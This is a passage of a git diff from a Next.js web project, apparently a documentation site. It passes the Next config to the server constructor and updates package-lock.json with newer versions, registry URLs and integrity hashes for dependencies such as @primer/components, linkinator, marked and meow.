+// but if you don't specify it to the `next()` constructor you currently
+// get a seg fault.
+// Possibly relevant: https://github.com/vercel/next.js/issues/33008
+import conf from '../next.config.js'
+
 const { NODE_ENV } = process.env
 const isDevelopment = NODE_ENV === 'development'
 
-export const nextApp = next({ dev: isDevelopment })
+export const nextApp = next({ dev: isDevelopment, conf })
 export const nextHandleRequest = nextApp.getRequestHandler()
 await nextApp.prepare()
 
diff --git a/package-lock.json b/package-lock.json
index 7f581bc232..4b5570adf1 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -9,8 +9,8 @@
       "dependencies": {
         "@github/failbot": "0.8.0",
         "@hapi/accept": "^5.0.2",
-        "@primer/components": "^32.1.0",
-        "@primer/css": "^18.2.0",
+        "@primer/components": "^33.1.0",
+        "@primer/css": "^19.1.1",
         "@primer/octicons": "^16.1.1",
         "@primer/octicons-react": "^16.2.0",
         "@react-aria/ssr": "^3.1.0",
@@ -70,7 +70,7 @@
         "rehype-autolink-headings": "^6.1.0",
         "rehype-highlight": "^5.0.0",
         "rehype-raw": "^6.1.1",
-        "rehype-slug": "^5.0.0",
+        "rehype-slug": "^5.0.1",
         "rehype-stringify": "^9.0.2",
         "remark-code-extra": "^1.0.1",
         "remark-gemoji-to-emoji": "^1.1.0",
@@ -85,7 +85,7 @@
         "slash": "^4.0.0",
         "strip-html-comments": "^1.0.0",
         "styled-components": "^5.3.3",
-        "swr": "1.1.0",
+        "swr": "1.1.2",
         "throng": "^5.0.0",
         "ts-dedent": "^2.2.0",
         "unified": "^10.1.0",
@@ -151,7 +151,7 @@
         "jest": "^27.4.3",
         "jest-github-actions-reporter": "^1.0.3",
         "jest-slow-test-reporter": "^1.0.0",
-        "linkinator": "^2.16.2",
+        "linkinator": "^3.0.3",
         "lint-staged": "^12.1.2",
         "make-promises-safe": "^5.1.0",
         "minimatch": "^3.0.4",
@@ -177,7 +177,7 @@
         "yesno": "^0.3.1"
       },
       "engines": {
-        "node": ">= 16.0.0"
+        "node": "16.x"
       },
       "optionalDependencies": {
         "esm": "^3.2.25",
@@ -3211,9 +3211,9 @@
       }
     },
     "node_modules/@napi-rs/triples": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/@napi-rs/triples/-/triples-1.0.3.tgz",
-      "integrity": "sha512-jDJTpta+P4p1NZTFVLHJ/TLFVYVcOqv6l8xwOeBKNPMgY/zDYH/YH7SJbvrr/h1RcS9GzbPcLKGzpuK9cV56UA=="
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@napi-rs/triples/-/triples-1.1.0.tgz",
+      "integrity": "sha512-XQr74QaLeMiqhStEhLn1im9EOMnkypp7MZOwQhGzqp2Weu5eQJbpPxWxixxlYRKWPOmJjsk6qYfYH9kq43yc2w=="
     },
     "node_modules/@next/env": {
       "version": "11.1.3",
@@ -3275,14 +3275,6 @@
       "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz",
       "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q=="
     },
-    "node_modules/@next/react-dev-overlay/node_modules/punycode": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-      "engines": {
-        "node": ">=6"
-      }
-    },
     "node_modules/@next/react-dev-overlay/node_modules/source-map": {
       "version": "0.8.0-beta.0",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
@@ -3612,9 +3604,10 @@
       }
     },
     "node_modules/@primer/components": {
-      "version": "32.1.0",
-      "resolved": "https://registry.npmjs.org/@primer/components/-/components-32.1.0.tgz",
-      "integrity": "sha512-Vffs3wt5W4FyipUGof38YmcHQFFoAA+Q7R71n+XzV7Og/SaFKY2MW9c4RFPj1wBhU60mtlyRAn54D7E33tLeHA==",
+      "version": "33.1.0",
+      "resolved": "https://registry.npmjs.org/@primer/components/-/components-33.1.0.tgz",
+      "integrity": "sha512-q+Eky5DMiv8PKSCjor/ChJ8wlHCreczDCku5B/GHLzqQXwtjGLsGOK7Qn+c/BYfpVh7am+FfqqHZRlpcMATdQw==",
+      "deprecated": "@primer/components has been renamed @primer/react. Use @primer/react instead.",
       "dependencies": {
         "@primer/octicons-react": "^16.1.0",
         "@primer/primitives": "7.1.1",
@@ -3634,6 +3627,10 @@
         "focus-visible": "5.2.0",
         "styled-system": "5.1.5"
       },
+      "engines": {
+        "node": ">=16",
+        "npm": ">=8"
+      },
       "peerDependencies": {
         "react": "^17.0.0",
         "react-dom": "^17.0.0",
@@ -3641,20 +3638,21 @@
       }
     },
     "node_modules/@primer/css": {
-      "version": "18.2.0",
-      "resolved": "https://registry.npmjs.org/@primer/css/-/css-18.2.0.tgz",
-      "integrity": "sha512-tU84BKF4HfhyyW7eB/BijcSf862JGIKcm5Z/dFdoZW7AFM1PpMDYiUp8h4j5XtsWxtXSqe3xxqTGTFXsmKGPtw==",
+      "version": "19.1.1",
+      "resolved": "https://registry.npmjs.org/@primer/css/-/css-19.1.1.tgz",
+      "integrity": "sha512-QVwdNOJsLxOD6eTR5LDIdLWg2SIy+eZWMK4ywlLd8qZXJCngtJyTNO5PtSzgs0D9jlMS+dzxvlOOV6GcfLu1hw==",
+      "license": "MIT",
       "dependencies": {
-        "@primer/primitives": "^6.1.0"
+        "@primer/primitives": "^7.2.0"
       },
       "engines": {
         "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
       }
     },
     "node_modules/@primer/css/node_modules/@primer/primitives": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npmjs.org/@primer/primitives/-/primitives-6.1.0.tgz",
-      "integrity": "sha512-gwSVf5rVf2CMa/bU3/47LZosDHNfODMRJfKi7uJOqHWABVNl6Lf+thDM7Jb8tS9sEQQsUnrLDiGNjCScS81IXA=="
+      "version": "7.4.0",
+      "resolved": "https://registry.npmjs.org/@primer/primitives/-/primitives-7.4.0.tgz",
+      "integrity": "sha512-gD6yHXN7YKox/bdUNgxhoSS/WXZVaORK1r4dOAyTrdoPrLV/ucIfRInPyVcTF+Mqr0zcTFJtiMtuA5Y8CSyOEg=="
     },
     "node_modules/@primer/octicons": {
       "version": "16.1.1",
@@ -6582,29 +6580,57 @@
       }
     },
     "node_modules/camelcase-keys": {
-      "version": "6.2.2",
-      "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz",
-      "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==",
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-7.0.1.tgz",
+      "integrity": "sha512-P331lEls98pW8JLyodNWfzuz91BEDVA4VpW2/SwXnyv2K495tq1N777xzDbFgnEigfA7UIY0xa6PwR/H9jijjA==",
       "dev": true,
       "dependencies": {
-        "camelcase": "^5.3.1",
-        "map-obj": "^4.0.0",
-        "quick-lru": "^4.0.1"
+        "camelcase": "^6.2.0",
+        "map-obj": "^4.1.0",
+        "quick-lru": "^5.1.1",
+        "type-fest": "^1.2.1"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/camelcase-keys/node_modules/camelcase": {
+      "version": "6.3.0",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
+      "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
+      "dev": true,
+      "engines": {
+        "node": ">=10"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/camelcase-keys/node_modules/quick-lru": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz",
-      "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+      "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
       "dev": true,
       "engines": {
-        "node": ">=8"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/camelcase-keys/node_modules/type-fest": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+      "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
+      "dev": true,
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/camelize": {
@@ -7166,12 +7192,6 @@
         "typedarray": "^0.0.6"
       }
     },
-    "node_modules/concat-stream/node_modules/isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-      "optional": true
-    },
     "node_modules/concat-stream/node_modules/readable-stream": {
       "version": "2.3.7",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -10988,9 +11008,9 @@
       }
     },
     "node_modules/hosted-git-info": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz",
-      "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==",
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz",
+      "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==",
       "dev": true,
       "dependencies": {
         "lru-cache": "^6.0.0"
@@ -12004,6 +12024,11 @@
         "node": ">=v0.10.0"
       }
     },
+    "node_modules/isarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+    },
     "node_modules/isexe": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
@@ -13356,12 +13381,6 @@
         "set-immediate-shim": "~1.0.1"
       }
     },
-    "node_modules/jszip/node_modules/isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-      "optional": true
-    },
     "node_modules/jszip/node_modules/readable-stream": {
       "version": "2.3.7",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -13496,50 +13515,34 @@
       }
     },
     "node_modules/lines-and-columns": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz",
-      "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=",
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
       "dev": true
     },
     "node_modules/linkinator": {
-      "version": "2.16.2",
-      "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-2.16.2.tgz",
-      "integrity": "sha512-5tHSz6gMN0z25+Pk4lZnU0Edr1lJLNuk+MCfQa2NxF4f1rfKS8Lo3JEwxTciVzwVHHdBpydAgmWYOgylNlwyDQ==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/linkinator/-/linkinator-3.0.3.tgz",
+      "integrity": "sha512-JpZFe1VIdaVy2wMCf8HDAB61tIjD69hOY1lPHCfM0OTPEhu9z9oPe449veZIympH9PUJUXe6yoif7DXHs8H5xw==",
       "dev": true,
       "dependencies": {
-        "chalk": "^4.0.0",
+        "chalk": "^5.0.0",
         "escape-html": "^1.0.3",
-        "gaxios": "^4.0.0",
-        "glob": "^7.1.6",
-        "htmlparser2": "^7.1.2",
-        "jsonexport": "^3.0.0",
-        "marked": "^2.0.0",
-        "meow": "^9.0.0",
+        "gaxios": "^4.3.2",
+        "glob": "^7.2.0",
+        "htmlparser2": "^7.2.0",
+        "jsonexport": "^3.2.0",
+        "marked": "^4.0.3",
+        "meow": "^10.1.1",
         "mime": "^3.0.0",
         "server-destroy": "^1.0.1",
-        "update-notifier": "^5.0.0"
+        "update-notifier": "^5.1.0"
       },
       "bin": {
         "linkinator": "build/src/cli.js"
       },
       "engines": {
-        "node": ">=10"
-      }
-    },
-    "node_modules/linkinator/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dev": true,
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
       }
     },
     "node_modules/linkinator/node_modules/entities": {
@@ -13555,9 +13558,9 @@
       }
     },
     "node_modules/linkinator/node_modules/htmlparser2": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.1.2.tgz",
-      "integrity": "sha512-d6cqsbJba2nRdg8WW2okyD4ceonFHn9jLFxhwlNcLhQWcFPdxXeJulgOLjLKtAK9T6ahd+GQNZwG9fjmGW7lyg==",
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz",
+      "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==",
       "dev": true,
       "funding": [
         "https://github.com/fb55/htmlparser2?sponsor=1",
@@ -14152,15 +14155,15 @@
       }
     },
     "node_modules/marked": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz",
-      "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==",
+      "version": "4.0.9",
+      "resolved": "https://registry.npmjs.org/marked/-/marked-4.0.9.tgz",
+      "integrity": "sha512-HmoFvQwFLxNESeGupeOC+6CLb5WzcCWQmqvVetsErmrI3vrZ6gBumty5IP0ynLPR0zYSoVY7ITC1GffsYIGkog==",
       "dev": true,
       "bin": {
-        "marked": "bin/marked"
+        "marked": "bin/marked.js"
       },
       "engines": {
-        "node": ">= 10"
+        "node": ">= 12"
       }
     },
     "node_modules/matcher-collection": {
@@ -14408,24 +14411,36 @@
       }
     },
     "node_modules/meow": {
-      "version": "9.0.0",
-      "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz",
-      "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==",
+      "version": "10.1.2",
+      "resolved": "https://registry.npmjs.org/meow/-/meow-10.1.2.tgz",
+      "integrity": "sha512-zbuAlN+V/sXlbGchNS9WTWjUzeamwMt/BApKCJi7B0QyZstZaMx0n4Unll/fg0njGtMdC9UP5SAscvOCLYdM+Q==",
       "dev": true,
       "dependencies": {
-        "@types/minimist": "^1.2.0",
-        "camelcase-keys": "^6.2.2",
-        "decamelize": "^1.2.0",
+        "@types/minimist": "^1.2.2",
+        "camelcase-keys": "^7.0.0",
+        "decamelize": "^5.0.0",
         "decamelize-keys": "^1.1.0",
         "hard-rejection": "^2.1.0",
         "minimist-options": "4.1.0",
-        "normalize-package-data": "^3.0.0",
-        "read-pkg-up": "^7.0.1",
-        "redent": "^3.0.0",
-        "trim-newlines": "^3.0.0",
-        "type-fest": "^0.18.0",
-        "yargs-parser": "^20.2.3"
+        "normalize-package-data": "^3.0.2",
+        "read-pkg-up": "^8.0.0",
+        "redent": "^4.0.0",
+        "trim-newlines": "^4.0.2",
+        "type-fest": "^1.2.2",
+        "yargs-parser": "^20.2.9"
       },
+      "engines": {
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/meow/node_modules/decamelize": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-5.0.1.tgz",
+      "integrity": "sha512-VfxadyCECXgQlkoEAjeghAr5gY3Hf+IKjKb+X8tGVDtveCjN+USwprd2q3QXBR9T1+x2DG0XZF5/w+7HAtSaXA==",
+      "dev": true,
       "engines": {
         "node": ">=10"
       },
@@ -14434,9 +14449,9 @@
       }
     },
     "node_modules/meow/node_modules/type-fest": {
-      "version": "0.18.1",
-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz",
-      "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==",
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+      "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
       "dev": true,
       "engines": {
         "node": ">=10"
@@ -15844,6 +15859,18 @@
         "node": ">=4"
       }
     },
+    "node_modules/next/node_modules/watchpack": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.1.tgz",
+      "integrity": "sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw==",
+      "dependencies": {
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.1.2"
+      },
+      "engines": {
+        "node": ">=10.13.0"
+      }
+    },
     "node_modules/no-case": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
@@ -15984,16 +16011,16 @@
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
       "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
     },
-    "node_modules/node-libs-browser/node_modules/isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
-    },
     "node_modules/node-libs-browser/node_modules/path-browserify": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz",
       "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ=="
     },
+    "node_modules/node-libs-browser/node_modules/punycode": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
+      "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
+    },
     "node_modules/node-libs-browser/node_modules/readable-stream": {
       "version": "2.3.7",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -18002,9 +18029,12 @@
       }
     },
     "node_modules/punycode": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
-      "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
+      "engines": {
+        "node": ">=6"
+      }
     },
     "node_modules/pupa": {
       "version": "2.1.1",
@@ -18164,6 +18194,7 @@
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.1.tgz",
       "integrity": "sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg==",
+      "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.",
       "engines": {
         "node": ">=0.4.x"
       }
@@ -18457,87 +18488,84 @@
       }
     },
     "node_modules/read-pkg": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz",
-      "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==",
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-6.0.0.tgz",
+      "integrity": "sha512-X1Fu3dPuk/8ZLsMhEj5f4wFAF0DWoK7qhGJvgaijocXxBmSToKfbFtqbxMO7bVjNA1dmE5huAzjXj/ey86iw9Q==",
       "dev": true,
       "dependencies": {
         "@types/normalize-package-data": "^2.4.0",
-        "normalize-package-data": "^2.5.0",
-        "parse-json": "^5.0.0",
-        "type-fest": "^0.6.0"
+        "normalize-package-data": "^3.0.2",
+        "parse-json": "^5.2.0",
+        "type-fest": "^1.0.1"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/read-pkg-up": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz",
-      "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==",
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-8.0.0.tgz",
+      "integrity": "sha512-snVCqPczksT0HS2EC+SxUndvSzn6LRCwpfSvLrIfR5BKDQQZMaI6jPRC9dYvYFDRAuFEAnkwww8kBBNE/3VvzQ==",
       "dev": true,
       "dependencies": {
-        "find-up": "^4.1.0",
-        "read-pkg": "^5.2.0",
-        "type-fest": "^0.8.1"
+        "find-up": "^5.0.0",
+        "read-pkg": "^6.0.0",
+        "type-fest": "^1.0.1"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=12"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/read-pkg-up/node_modules/find-up": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
-      "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+      "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
       "dev": true,
       "dependencies": {
-        "locate-path": "^5.0.0",
+        "locate-path": "^6.0.0",
         "path-exists": "^4.0.0"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/read-pkg-up/node_modules/locate-path": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
-      "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+      "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
       "dev": true,
       "dependencies": {
-        "p-locate": "^4.1.0"
+        "p-locate": "^5.0.0"
       },
       "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/read-pkg-up/node_modules/p-limit": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-      "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-      "dev": true,
-      "dependencies": {
-        "p-try": "^2.0.0"
-      },
-      "engines": {
-        "node": ">=6"
+        "node": ">=10"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/read-pkg-up/node_modules/p-locate": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
-      "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+      "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
       "dev": true,
       "dependencies": {
-        "p-limit": "^2.2.0"
+        "p-limit": "^3.0.2"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/read-pkg-up/node_modules/path-exists": {
@@ -18550,48 +18578,27 @@
       }
     },
     "node_modules/read-pkg-up/node_modules/type-fest": {
-      "version": "0.8.1",
-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
-      "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+      "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
       "dev": true,
       "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/read-pkg/node_modules/hosted-git-info": {
-      "version": "2.8.9",
-      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
-      "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
-      "dev": true
-    },
-    "node_modules/read-pkg/node_modules/normalize-package-data": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
-      "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
-      "dev": true,
-      "dependencies": {
-        "hosted-git-info": "^2.1.4",
-        "resolve": "^1.10.0",
-        "semver": "2 || 3 || 4 || 5",
-        "validate-npm-package-license": "^3.0.1"
-      }
-    },
-    "node_modules/read-pkg/node_modules/semver": {
-      "version": "5.7.1",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-      "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
-      "dev": true,
-      "bin": {
-        "semver": "bin/semver"
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/read-pkg/node_modules/type-fest": {
-      "version": "0.6.0",
